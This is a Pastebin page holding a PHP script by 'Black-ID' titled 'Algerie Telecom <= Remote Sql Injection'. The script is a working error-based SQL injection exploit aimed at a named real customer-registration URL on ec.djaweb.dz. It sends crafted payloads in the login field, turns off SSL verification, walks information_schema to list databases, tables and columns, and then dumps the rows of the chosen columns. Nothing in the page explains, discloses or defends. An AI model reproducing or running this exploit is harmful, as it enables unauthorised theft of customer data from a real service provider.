Black-ID

Algerie Telecom <= Remote Sql Injection

Jun 21st, 2013
777
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.14 KB | None | 0 0
  1. <?php
  2. print "\n+-------------------------------------------------------------------------+";
  3. print "\n| Algerie Telecom <= Remote Sql Injection (error based sqli) By Black-ID  |";
  4. print "\n+-------------------------------------------------------------------------+\n\n\n";
  5. function Post($payload){
  6. $ch = curl_init();
  7. curl_setopt($ch, CURLOPT_URL, "https://ec.djaweb.dz/particuliers/?p=espace_client_inscription");
  8. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
  9. curl_setopt($ch, CURLOPT_POST, 1);
  10. curl_setopt($ch, CURLOPT_POSTFIELDS,"user=dz0'$payload+--+&pass=-1&val=1");
  11. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  13. curl_setopt($ch, CURLOPT_COOKIEFILE, "/");
  14. curl_setopt($ch, CURLOPT_COOKIEJAR, "/");
  15. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  16. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  17. $result = curl_exec($ch);
  18. curl_close($ch);
  19. return $result;
  20. }
  21. function Match($payload){
  22. if(preg_match("/Duplicate entry '~'(.*)'~1' for/", Post($payload), $matches)){
  23. return $matches[1];
  24. }else{
  25. return "NotFound";
  26. }
  27. }
  28. function strToHex($string)
  29. {
  30.     $hex='';
  31.     for ($i=0; $i < strlen($string); $i++)
  32.     {
  33.         $hex .= dechex(ord($string[$i]));
  34.     }
  35.     return $hex;
  36. }
  37. function hexToStr($hex)
  38. {
  39.     $string='';
  40.     for ($i=0; $i < strlen($hex)-1; $i+=2)
  41.     {
  42.         $string .= chr(hexdec($hex[$i].$hex[$i+1]));
  43.     }
  44.     return $string;
  45. }
  46.  
  47. $payload = "+and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,count(schema_name),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables GROUP BY x)a)";
  48. $max = intval(Match($payload))-1;
  49. for ($i = 0; $i <= $max; $i++) {
  50. $payload2 = "+And(Select 1 FROM(Select count(*),concat((Select (Select (Select distinct concat(0x7e,0x27,cast(schema_name As char),0x27,0x7e) FROM information_schema.schemata LIMIT ".strval($i).",1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) and 1=1";
  51. $db[$i] = Match($payload2);
  52. print "| ".$i." : ".$db[$i]."\n";
  53. }
  54. print "\n[*] Select Database : ";
  55. $dtb=trim(fgets(STDIN));
  56. if($dtb > $max ) {
  57. print "[-] Database NotFound\n";
  58. }else{
  59. $mdb = "0x".strToHex($db[intval($dtb)]);
  60. $payload3 = "+and(select 1 FROM(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=".$mdb.")) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)";
  61. $max = intval(Match($payload3))-1;
  62. for ($i = 0; $i <= $max; $i++) {
  63. $payload4 = "+and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables WHERE table_schema=".$mdb." LIMIT ".strval($i).",1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)";
  64. $table[$i] = Match($payload4);
  65. print "| ".$i." : ".$table[$i]."\n";
  66. }
  67. print "\n[*] Select Table : ";
  68. $ttb=trim(fgets(STDIN));
  69. if($dtb > $max ) {
  70. print "[-] Table NotFound\n";
  71. }else{
  72. $mtb = "0x".strToHex($table[intval($ttb)]);
  73. $payload5 = "+and(select 1 FROM(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=".$mdb." And table_name=".$mtb.")) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)";
  74. $max = intval(Match($payload5))-1;
  75. for ($i = 0; $i <= $max; $i++) {
  76. $payload6 = "+and(select 1 FROM(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns WHERE table_schema=".$mdb." AND table_name=".$mtb." LIMIT ".strval($i).",1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)";
  77. $column[$i] = Match($payload6);
  78. print "| ".$i." : ".$column[$i]."\n";
  79. }
  80. print "\n[*] Select Column : ";
  81. $clb=trim(fgets(STDIN));
  82. $payload7 = " and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(".hexToStr(substr($mtb, 2)).".".$column[0]."),0x27,0x7e) FROM `".hexToStr(substr($mdb, 2))."`.".hexToStr(substr($mtb, 2))." LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1";
  83.  
  84. $max = intval(Match($payload7))-1;
  85.  
  86. for ($i = 0; $i <= $max; $i++) {
  87. $aclm = explode ("-", $clb);
  88. print "+------------------------------------------\n";
  89. foreach ($aclm as $clm) {
  90. $mcl = $column[intval($clm)];
  91. $payload7 = " and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(".hexToStr(substr($mtb, 2)).".".$mcl." as char),0x27,0x7e) FROM `".hexToStr(substr($mdb, 2))."`.".hexToStr(substr($mtb, 2))." LIMIT ".strval($i).",1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1";
  92. $value = Match($payload7);
  93.  
  94. print "|  ".$mcl." :".$value."\n";
  95. }
  96. }
  97. }
  98. }
  99. ?>
Advertisement
Add Comment
Please, Sign In to add comment